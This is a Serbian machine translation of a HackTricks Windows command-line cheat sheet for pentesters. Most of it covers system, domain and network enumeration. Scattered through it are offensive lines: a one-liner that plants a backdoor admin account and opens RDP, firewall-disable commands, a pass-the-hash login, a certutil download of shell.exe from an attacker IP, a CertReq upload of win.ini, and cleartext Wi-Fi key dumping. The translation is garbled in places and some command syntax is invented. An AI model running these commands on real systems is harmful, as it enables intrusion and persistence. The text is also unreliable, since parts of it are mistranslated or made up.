43 KiB
Basic Win CMD for Pentesters
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
- Da li radite u cybersecurity kompaniji? Želite li da vidite vašu kompaniju reklamiranu na HackTricks-u? Ili želite da imate pristup najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu? Proverite SUBSCRIPTION PLANS!
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Nabavite zvanični PEASS & HackTricks swag
- Pridružite se 💬 Discord grupi ili telegram grupi ili me pratite na Twitter-u 🐦@carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na hacktricks repo i hacktricks-cloud repo.
Informacije o sistemu
Informacije o verziji i zakrpama
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic computersystem LIST full #Get PC info
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates
hostname
DRIVERQUERY #3rd party driver vulnerable?
Okruženje
set #List all environment variables
Neki okružni promenljivi za istakavanje:
- COMPUTERNAME: Ime računara
- TEMP/TMP: Privremena fascikla
- USERNAME: Vaše korisničko ime
- HOMEPATH/USERPROFILE: Matični direktorijum
- windir: C:\Windows
- OS: Windows operativni sistem
- LOGONSERVER: Ime kontrolora domena
- USERDNSDOMAIN: Ime domena za upotrebu sa DNS-om
- USERDOMAIN: Ime domena
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
Montirani diskovi
Pregled montiranih diskova
Da biste videli sve montirane diskove na Windows operativnom sistemu, možete koristiti sledeću komandu:
wmic logicaldisk get caption, description, volumename
Ova komanda će prikazati sve montirane diskove, zajedno sa njihovim oznakama, opisima i nazivima volumena.
Montiranje diska
Da biste montirali disk na Windows operativnom sistemu, možete koristiti sledeću komandu:
mountvol <disk> <putanja>
Gde <disk>
predstavlja oznaku diska koji želite da montirate, a <putanja>
predstavlja putanju na koju želite da montirate disk.
Na primer, ako želite da montirate disk sa oznakom "D:" na putanju "C:\mount", koristite sledeću komandu:
mountvol D: C:\mount
Demontiranje diska
Da biste demontirali disk sa Windows operativnog sistema, možete koristiti sledeću komandu:
mountvol <putanja> /d
Gde <putanja>
predstavlja putanju diska koji želite da demontirate.
Na primer, ako želite da demontirate disk sa putanje "C:\mount", koristite sledeću komandu:
mountvol C:\mount /d
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername
Defender
Korpa za recikliranje
dir C:\$Recycle.Bin /s /b
Procesi, usluge i softver
Prikaz procesa
Da biste prikazali aktivne procese na Windows operativnom sistemu, možete koristiti sledeće komande:
tasklist
Ova komanda će prikazati listu svih trenutno pokrenutih procesa, zajedno sa njihovim ID-ovima, prioritetima, statusima i drugim informacijama.
Ubijanje procesa
Ako želite da zaustavite određeni proces, možete koristiti sledeću komandu:
taskkill /PID <PID>
Zamijenite <PID>
sa ID-em procesa koji želite da zaustavite. Ova komanda će zatvoriti proces i osloboditi resurse koje je koristio.
Prikaz instaliranih servisa
Da biste vidjeli listu instaliranih servisa na Windows operativnom sistemu, koristite sledeću komandu:
sc query
Ova komanda će prikazati sve servise zajedno sa njihovim imenima, statusima i drugim informacijama.
Zaustavljanje servisa
Ako želite da zaustavite određeni servis, možete koristiti sledeću komandu:
sc stop <service_name>
Zamijenite <service_name>
sa imenom servisa koji želite da zaustavite. Ova komanda će zaustaviti servis i onemogućiti njegovo dalje izvršavanje.
Prikaz instaliranog softvera
Da biste vidjeli listu instaliranog softvera na Windows operativnom sistemu, koristite sledeću komandu:
wmic product get name,version
Ova komanda će prikazati sve instalirane programe zajedno sa njihovim imenima i verzijama.
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
Informacije o domenu
Whois
Whois je protokol za pretragu baza podataka koje sadrže informacije o registrovanim domenima. Ovaj protokol omogućava pristup informacijama kao što su vlasnik domena, datum registracije, datum isteka registracije, DNS serveri i druge relevantne informacije.
Da biste dobili informacije o domenu putem Whois protokola, možete koristiti sledeću komandu:
whois <domen>
NSLookup
NSLookup je alat koji se koristi za pretragu DNS zapisa i dobijanje informacija o DNS serverima koji su zaduženi za određeni domen. Ovaj alat može biti koristan za pronalaženje IP adrese povezane sa domenom, kao i za proveru ispravnosti DNS konfiguracije.
Da biste koristili NSLookup, možete izvršiti sledeću komandu:
nslookup <domen>
Dig
Dig je alat koji se koristi za pretragu DNS zapisa i dobijanje informacija o DNS serverima koji su zaduženi za određeni domen. Ovaj alat pruža detaljnije informacije o DNS zapisima, uključujući IP adrese, TTL vrednosti, tipove zapisa i druge relevantne informacije.
Da biste koristili Dig, možete izvršiti sledeću komandu:
dig <domen>
Traceroute
Traceroute je alat koji se koristi za praćenje putanje paketa od izvora do odredišta preko mreže. Ovaj alat može biti koristan za identifikaciju mrežnih tačaka preko kojih paketi prolaze, kao i za pronalaženje eventualnih problema ili uskih grla u mrežnoj infrastrukturi.
Da biste koristili Traceroute, možete izvršiti sledeću komandu:
traceroute <domen>
Nmap
Nmap je popularan alat za skeniranje mreže koji se koristi za otkrivanje otvorenih portova, identifikaciju servisa koji rade na tim portovima i mapiranje mrežne infrastrukture. Ovaj alat može biti koristan za identifikaciju ranjivosti i sigurnosnih propusta u mreži.
Da biste koristili Nmap, možete izvršiti sledeću komandu:
nmap <domen>
# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list #Displays information about the Domain and Domain Controllers
# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.
# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group
# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers
# Trust relations
nltest /domain_trusts #Mapping of the trust relationships
# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
Dnevnici i događaji
Dnevnici i događaji su ključni izvori informacija za istraživanje i analizu sistema. Oni pružaju uvid u aktivnosti koje su se desile na sistemu, kao i u potencijalne sigurnosne incidente. U Windows okruženju, postoje različiti tipovi dnevnika i događaja koji se mogu koristiti u svrhu analize.
Windows Event Log
Windows Event Log (Dnevnik događaja) je centralizovani izvor informacija o događajima koji se dešavaju na Windows operativnom sistemu. Dnevnik događaja se sastoji od različitih logova, kao što su Security, Application, System, i mnogi drugi. Svaki log sadrži informacije o specifičnim događajima koji su se desili na sistemu.
Security Log
Security Log (Dnevnik sigurnosti) je jedan od najvažnijih logova u Windows operativnom sistemu. On beleži informacije o sigurnosnim događajima, kao što su prijavljivanje i odjavljivanje korisnika, promene u privilegijama, neuspeli pokušaji prijavljivanja, i mnoge druge aktivnosti koje mogu biti od interesa za istraživače sigurnosti.
Application Log
Application Log (Dnevnik aplikacija) beleži informacije o događajima koji se odnose na aplikacije koje se izvršavaju na sistemu. Ovaj log može pružiti korisne informacije o greškama, upozorenjima i drugim događajima koji se odnose na aplikacije.
System Log
System Log (Dnevnik sistema) beleži informacije o događajima koji se odnose na sistemski softver i hardver. Ovaj log može sadržati informacije o greškama, upozorenjima i drugim događajima koji se odnose na sistem.
Security Auditing
Security Auditing (Sigurnosna revizija) je proces praćenja i beleženja sigurnosnih događaja na sistemu. Ova funkcionalnost omogućava administratorima da prate i analiziraju aktivnosti na sistemu kako bi otkrili potencijalne sigurnosne pretnje.
Event Viewer
Event Viewer (Pregledač događaja) je alat koji omogućava pregled i analizu dnevnika i događaja na Windows operativnom sistemu. Pomoću ovog alata možete pregledati različite logove, filtrirati događaje prema određenim kriterijumima i analizirati informacije o događajima.
PowerShell Event Logging
PowerShell Event Logging (Beleženje događaja u PowerShell-u) je funkcionalnost koja omogućava beleženje događaja koji se odnose na izvršavanje PowerShell skripti. Ova funkcionalnost može biti korisna za praćenje i analizu aktivnosti vezanih za PowerShell.
Windows Firewall Log
Windows Firewall Log (Dnevnik Windows Firewall-a) beleži informacije o aktivnostima vezanim za Windows Firewall. Ovaj log može pružiti informacije o dolaznim i odlaznim konekcijama, blokiranim paketima i drugim aktivnostima vezanim za Firewall.
Sysmon
Sysmon je alat koji pruža detaljnije informacije o događajima na sistemu u poređenju sa standardnim Windows logovima. On pruža napredne informacije o procesima, mrežnim aktivnostima, promenama u registru i drugim događajima koji mogu biti od interesa za istraživače sigurnosti.
Centralized Logging
Centralized Logging (Centralizovano beleženje) je praksa koja podrazumeva slanje dnevnika i događaja sa različitih sistema na centralizovano mesto radi lakše analize i praćenja. Ova praksa omogućava efikasnije upravljanje dnevnicima i događajima na različitim sistemima.
#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
Korisnici
Pregled korisnika
Da biste videli sve korisnike na sistemu, možete koristiti sledeću komandu:
net user
Kreiranje korisnika
Da biste kreirali novog korisnika, koristite sledeću komandu:
net user <ime_korisnika> <lozinka> /add
Brisanje korisnika
Da biste obrisali korisnika, koristite sledeću komandu:
net user <ime_korisnika> /delete
Grupa
Pregled grupa
Da biste videli sve grupe na sistemu, koristite sledeću komandu:
net localgroup
Kreiranje grupe
Da biste kreirali novu grupu, koristite sledeću komandu:
net localgroup <ime_grupe> /add
Dodavanje korisnika u grupu
Da biste dodali korisnika u grupu, koristite sledeću komandu:
net localgroup <ime_grupe> <ime_korisnika> /add
Uklanjanje korisnika iz grupe
Da biste uklonili korisnika iz grupe, koristite sledeću komandu:
net localgroup <ime_grupe> <ime_korisnika> /delete
#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges
# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user
# Other users looged
qwinsta #Anyone else logged in?
#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
Grupe
Groups (grupe) su organizovani skupovi korisnika u operativnom sistemu Windows. Svaki korisnik može pripadati jednoj ili više grupa, a grupe se koriste za upravljanje pravima i privilegijama korisnika. U nastavku su prikazane neke osnovne komande za rad sa grupama u Windows operativnom sistemu.
Prikaz svih grupa
net localgroup
Ova komanda prikazuje sve lokalne grupe na sistemu.
Prikaz članova grupe
net localgroup <ime_grupe>
Ova komanda prikazuje sve članove određene grupe.
Dodavanje korisnika u grupu
net localgroup <ime_grupe> <ime_korisnika> /add
Ova komanda dodaje određenog korisnika u određenu grupu.
Uklanjanje korisnika iz grupe
net localgroup <ime_grupe> <ime_korisnika> /delete
Ova komanda uklanja određenog korisnika iz određene grupe.
Kreiranje nove grupe
net localgroup <ime_nove_grupe> /add
Ova komanda kreira novu lokalnu grupu.
Brisanje grupe
net localgroup <ime_grupe> /delete
Ova komanda briše određenu grupu.
#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators
#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group
Lista sesija
Da biste videli listu aktivnih sesija na ciljnom sistemu, možete koristiti sledeću komandu:
net session
Ova komanda će prikazati sve trenutno otvorene sesije na ciljnom sistemu, uključujući korisnička imena, ID sesija i vreme poslednje aktivnosti.
qwinsta
klist sessions
Politika lozinki
Windows operativni sistem podržava postavljanje politike lozinki kako bi se osigurala sigurnost korisničkih naloga. Ova politika definiše zahteve za kreiranje i korišćenje lozinki. Evo nekoliko ključnih parametara politike lozinki:
- Minimalna dužina lozinke: Ovo je najmanji broj karaktera koji lozinka mora da sadrži.
- Zahtev za kompleksnost lozinke: Ovaj parametar definiše da li lozinka mora da sadrži kombinaciju velikih i malih slova, brojeva i specijalnih karaktera.
- Maksimalno trajanje lozinke: Ovo je period nakon kojeg korisnik mora da promeni svoju lozinku.
- Minimalno trajanje lozinke: Ovo je minimalni period koji korisnik mora da sačuva lozinku pre nego što je promeni.
- Broj prethodnih lozinki: Ovaj parametar definiše koliko prethodnih lozinki se pamti i sprečava korisnika da ponovo koristi istu lozinku.
Da biste postavili politiku lozinki, možete koristiti sledeću komandu:
net accounts /minpwlen:<minimalna_dužina_lozinke> /complexity:<da/oduzmi> /maxpwage:<maksimalno_trajanje_lozinke> /minpwage:<minimalno_trajanje_lozinke> /uniquepw:<broj_prethodnih_lozinki>
Na primer, ako želite da postavite minimalnu dužinu lozinke na 8 karaktera, zahtev za kompleksnost lozinke, maksimalno trajanje lozinke na 90 dana, minimalno trajanje lozinke na 7 dana i da se pamti 5 prethodnih lozinki, koristite sledeću komandu:
net accounts /minpwlen:8 /complexity:yes /maxpwage:90 /minpwage:7 /uniquepw:5
Napomena: Ove promene zahtevaju administratorske privilegije i mogu se primeniti samo na lokalnom računaru.
net accounts
Poverenja
Credentials (poverenja) su informacije koje se koriste za autentifikaciju korisnika ili entiteta. To mogu biti korisničko ime i lozinka, digitalni sertifikat, API ključ ili bilo koja druga forma identifikacije. Poverenja se koriste za pristupanje sistemima, aplikacijama ili resursima.
Kada se bavite hakovanjem, poverenja su od velike važnosti jer vam omogućavaju pristup osetljivim informacijama ili funkcionalnostima. Postoji nekoliko tehnika koje možete koristiti za krađu poverenja, kao što su phishing, brute force napadi, krađa tokena ili iskorišćavanje ranjivosti u autentifikacionom procesu.
Kada imate poverenja, možete ih koristiti za dalje napade, kao što su eskalacija privilegija, preuzimanje kontrole nad sistemom ili izvršavanje zlonamernog koda.
Važno je napomenuti da je krađa poverenja nezakonita i da se ove tehnike smeju koristiti samo u okviru legalnih aktivnosti, kao što su etičko hakovanje ili testiranje bezbednosti.
cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access
Upornost sa korisnicima
Add a User
Dodaj korisnika
To add a new user to the system, you can use the net user
command. Here's the syntax:
Da biste dodali novog korisnika u sistem, možete koristiti net user
komandu. Evo sintakse:
net user <username> <password> /add
Replace <username>
with the desired username and <password>
with the desired password for the user.
Zamenite <username>
sa željenim korisničkim imenom i <password>
sa željenom lozinkom za korisnika.
Enable Remote Desktop
Omogući udaljeni radni sto
To enable Remote Desktop on a Windows system, you can use the reg add
command. Here's the syntax:
Da biste omogućili udaljeni radni sto na Windows sistemu, možete koristiti reg add
komandu. Evo sintakse:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Add User to Local Administrators Group
Dodaj korisnika u lokalnu administratorsku grupu
To add a user to the local Administrators group, you can use the net localgroup
command. Here's the syntax:
Da biste dodali korisnika u lokalnu administratorsku grupu, možete koristiti net localgroup
komandu. Evo sintakse:
net localgroup Administrators <username> /add
Replace <username>
with the username of the user you want to add to the Administrators group.
Zamenite <username>
sa korisničkim imenom korisnika kojeg želite dodati u administratorsku grupu.
Enable Guest Account
Omogući gostujući nalog
To enable the Guest account on a Windows system, you can use the net user
command. Here's the syntax:
Da biste omogućili gostujući nalog na Windows sistemu, možete koristiti net user
komandu. Evo sintakse:
net user Guest /active:yes
Disable Guest Account
Onemogući gostujući nalog
To disable the Guest account on a Windows system, you can use the net user
command. Here's the syntax:
Da biste onemogućili gostujući nalog na Windows sistemu, možete koristiti net user
komandu. Evo sintakse:
net user Guest /active:no
Enable Built-in Administrator Account
Omogući ugrađeni administratorski nalog
To enable the built-in Administrator account on a Windows system, you can use the net user
command. Here's the syntax:
Da biste omogućili ugrađeni administratorski nalog na Windows sistemu, možete koristiti net user
komandu. Evo sintakse:
net user Administrator /active:yes
Disable Built-in Administrator Account
Onemogući ugrađeni administratorski nalog
To disable the built-in Administrator account on a Windows system, you can use the net user
command. Here's the syntax:
Da biste onemogućili ugrađeni administratorski nalog na Windows sistemu, možete koristiti net user
komandu. Evo sintakse:
net user Administrator /active:no
# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN
# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD
# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
Mreža
Interfejsi, Rute, Portovi, Hostovi i DNS keš
Interfejsi
Prikazuje sve mrežne interfejse na sistemu:
ipconfig /all
Rute
Prikazuje sve rute na sistemu:
route print
Portovi
Prikazuje otvorene portove na sistemu:
netstat -ano
Hostovi
Prikazuje informacije o hostovima na mreži:
nslookup <adresa>
DNS keš
Prikazuje sadržaj DNS keša:
ipconfig /displaydns
Firewall
Pregled statusa Firewall-a
Prikazuje status Firewall-a:
netsh advfirewall show allprofiles
Isključivanje Firewall-a
Isključuje Firewall:
netsh advfirewall set allprofiles state off
Uključivanje Firewall-a
Uključuje Firewall:
netsh advfirewall set allprofiles state on
Dodavanje pravila u Firewall
Dodaje pravilo u Firewall:
netsh advfirewall firewall add rule name="<ime_pravila>" dir=in action=allow protocol=<protokol> localport=<port>
Brisanje pravila iz Firewall-a
Briše pravilo iz Firewall-a:
netsh advfirewall firewall delete rule name="<ime_pravila>"
Proxy
Podešavanje proxy servera
Podešava proxy server:
netsh winhttp set proxy proxy-server="<adresa>:<port>"
Poništavanje podešavanja proxy servera
Poništava podešavanje proxy servera:
netsh winhttp reset proxy
ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
Firewall
Zaštita od požara
Firewall je sigurnosni mehanizam koji se koristi za zaštitu računarske mreže od neovlašćenog pristupa i napada. On kontroliše i filtrira dolazni i odlazni mrežni saobraćaj na osnovu definisanih pravila. Ovo je veoma važan alat za osiguravanje bezbednosti sistema.
Windows Firewall
Windows Firewall je ugrađeni firewall koji dolazi sa operativnim sistemom Windows. On omogućava korisnicima da kontrolišu pristup njihovom računaru i mreži. Može se konfigurisati da blokira ili dozvoljava određene vrste saobraćaja na osnovu definisanih pravila.
Konfiguracija Windows Firewall-a
Da biste konfigurisali Windows Firewall, možete koristiti komandnu liniju ili grafički interfejs. Evo nekoliko osnovnih komandi koje možete koristiti:
- Pregledajte trenutna pravila firewall-a:
netsh advfirewall firewall show rule name=all
- Dodajte pravilo za dozvoljavanje dolaznog saobraćaja na određenom portu:
netsh advfirewall firewall add rule name="Allow Port 80" dir=in action=allow protocol=TCP localport=80
- Dodajte pravilo za blokiranje dolaznog saobraćaja sa određene IP adrese:
netsh advfirewall firewall add rule name="Block IP" dir=in action=block remoteip=192.168.0.1
- Izbrišite pravilo firewall-a:
netsh advfirewall firewall delete rule name="Block IP"
Ove komande vam omogućavaju da konfigurišete Windows Firewall prema vašim potrebama i zahtevima za bezbednost.
netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off #Turn Off
NetSh Advfirewall set allprofiles state on #Trun On
netsh firewall set opmode disable #Turn Off
#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"
#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed
#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable
#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
Deljenje
Pregled
Komanda net share
se koristi za prikazivanje informacija o deljenim resursima na sistemu. Ova komanda prikazuje naziv deljenog resursa, putanju do resursa, tip resursa i eventualne dodatne opcije.
Prikazivanje svih deljenih resursa
net share
Prikazivanje detaljnih informacija o određenom deljenom resursu
net share <naziv_resursa>
Kreiranje novog deljenog resursa
net share <naziv_resursa>=<putanja_do_resursa> [/GRANT:<korisnik>,<prava>] [/REMARK:"komentar"]
<naziv_resursa>
: Naziv deljenog resursa koji želite da kreirate.<putanja_do_resursa>
: Putanja do direktorijuma koji želite da delite.<korisnik>
: Korisnik kojem želite da dodelite prava pristupa deljenom resursu.<prava>
: Prava pristupa koja želite da dodelite korisniku (npr.READ
,WRITE
,FULL
)./REMARK:"komentar"
: Opcioni komentar koji možete dodati deljenom resursu.
Brisanje deljenog resursa
net share <naziv_resursa> /DELETE
<naziv_resursa>
: Naziv deljenog resursa koji želite da obrišete.
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
Wifi
Bežična mreža
View Available Networks
Pregled dostupnih mreža
To view the available wifi networks, use the following command:
Da biste videli dostupne bežične mreže, koristite sledeću komandu:
netsh wlan show networks
Connect to a Network
Povezivanje sa mrežom
To connect to a wifi network, use the following command:
Da biste se povezali sa bežičnom mrežom, koristite sledeću komandu:
netsh wlan connect name="network_name"
Replace "network_name" with the name of the network you want to connect to.
Zamenite "network_name" sa imenom mreže sa kojom želite da se povežete.
Disconnect from a Network
Odjavljivanje sa mreže
To disconnect from a wifi network, use the following command:
Da biste se odjavili sa bežične mreže, koristite sledeću komandu:
netsh wlan disconnect
View Network Profiles
Pregled profila mreže
To view the saved network profiles, use the following command:
Da biste videli sačuvane profile mreže, koristite sledeću komandu:
netsh wlan show profiles
Delete a Network Profile
Brisanje profila mreže
To delete a saved network profile, use the following command:
Da biste obrisali sačuvani profil mreže, koristite sledeću komandu:
netsh wlan delete profile name="profile_name"
Replace "profile_name" with the name of the profile you want to delete.
Zamenite "profile_name" sa imenom profila koji želite da obrišete.
netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
SNMP
SNMP (Simple Network Management Protocol) je protokol koji se koristi za upravljanje i nadzor mrežnih uređaja. Omogućava administratorima da prikupljaju informacije o statusu i performansama mreže, kao i da upravljaju mrežnim uređajima. SNMP koristi poruke za komunikaciju između upravljačke stanice i upravljanih uređaja. Ove poruke se šalju preko UDP (User Datagram Protocol) protokola na portu 161. SNMP podržava različite operacije, uključujući čitanje i pisanje vrednosti, kao i praćenje događaja.
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Mrežni interfejsi
Pregled dostupnih mrežnih interfejsa
Da biste pregledali dostupne mrežne interfejse na Windows operativnom sistemu, možete koristiti sledeću komandu:
ipconfig
Ova komanda će prikazati informacije o svim aktivnim mrežnim interfejsima, uključujući IP adresu, podmrežnu masku, podrazumevani gateway i druge relevantne informacije.
Promena IP adrese
Da biste promenili IP adresu mrežnog interfejsa, možete koristiti sledeću komandu:
netsh interface ip set address "Naziv interfejsa" static IP_adresa Podmrežna_maska Gateway
Zamenite "Naziv interfejsa" sa imenom interfejsa koji želite da promenite, "IP_adresa" sa željenom IP adresom, "Podmrežna_maska" sa odgovarajućom podmrežnom maskom i "Gateway" sa podrazumevanim gateway-om.
Promena DNS servera
Da biste promenili DNS servere za određeni mrežni interfejs, možete koristiti sledeću komandu:
netsh interface ip set dns "Naziv interfejsa" static DNS_server_primarni
Zamenite "Naziv interfejsa" sa imenom interfejsa koji želite da promenite i "DNS_server_primarni" sa IP adresom primarnog DNS servera.
Isključivanje mrežnog interfejsa
Da biste isključili određeni mrežni interfejs, možete koristiti sledeću komandu:
netsh interface set interface "Naziv interfejsa" admin=disable
Zamenite "Naziv interfejsa" sa imenom interfejsa koji želite da isključite.
Uključivanje mrežnog interfejsa
Da biste uključili određeni mrežni interfejs, možete koristiti sledeću komandu:
netsh interface set interface "Naziv interfejsa" admin=enable
Zamenite "Naziv interfejsa" sa imenom interfejsa koji želite da uključite.
ipconfig /all
ARP tabela
ARP (Address Resolution Protocol) tabela je tabela koja se koristi u mrežnom okruženju kako bi se mapirale IP adrese na MAC adrese. Ova tabela omogućava uređajima da komuniciraju na lokalnoj mreži. Kada se uređaj poveže na mrežu, on šalje ARP zahtev kako bi saznao MAC adresu drugog uređaja na istoj mreži. Ova tabela se često koristi u napadima na mrežu kako bi se izvršio ARP spoofing ili ARP poisoning.
arp -A
Preuzimanje
Bitsadmin.exe
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
CertReq.exe je alatka koja se koristi za generisanje i upravljanje zahtevima za sertifikate u operativnom sistemu Windows. Ova komanda omogućava korisnicima da kreiraju CSR (Certificate Signing Request) datoteke koje se koriste za dobijanje digitalnih sertifikata od sertifikacionih tela. CSR datoteke sadrže informacije o subjektu za koga se zahteva sertifikat, kao i javni ključ koji će biti uključen u sertifikat. CertReq.exe takođe omogućava korisnicima da izdaju, povuku i obnove sertifikate. Ova alatka je korisna za pentestere koji žele da manipulišu sertifikatima u cilju testiranja sigurnosti sistema.
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
Certutil.exe je alat koji se koristi za rad sa digitalnim certifikatima u operativnom sistemu Windows. Ovaj alat omogućava korisnicima da pregledaju, izdaju, povuku, izvoze i uvoze certifikate, kao i da obavljaju druge operacije vezane za upravljanje certifikatima. Certutil.exe se često koristi u procesu hardeninga sistema kako bi se osigurala sigurnost i integritet digitalnih certifikata.
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
Pronađite još mnogo toga pretraživanjem Download
na https://lolbas-project.github.io
Razno
cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file
#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden
#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision
#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
#exe2bat to transform exe file in bat file
#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)
# Get error messages from code
net helpmsg 32 #32 is the code in that case
Zaobilaženje zabrane korišćenja određenih karaktera
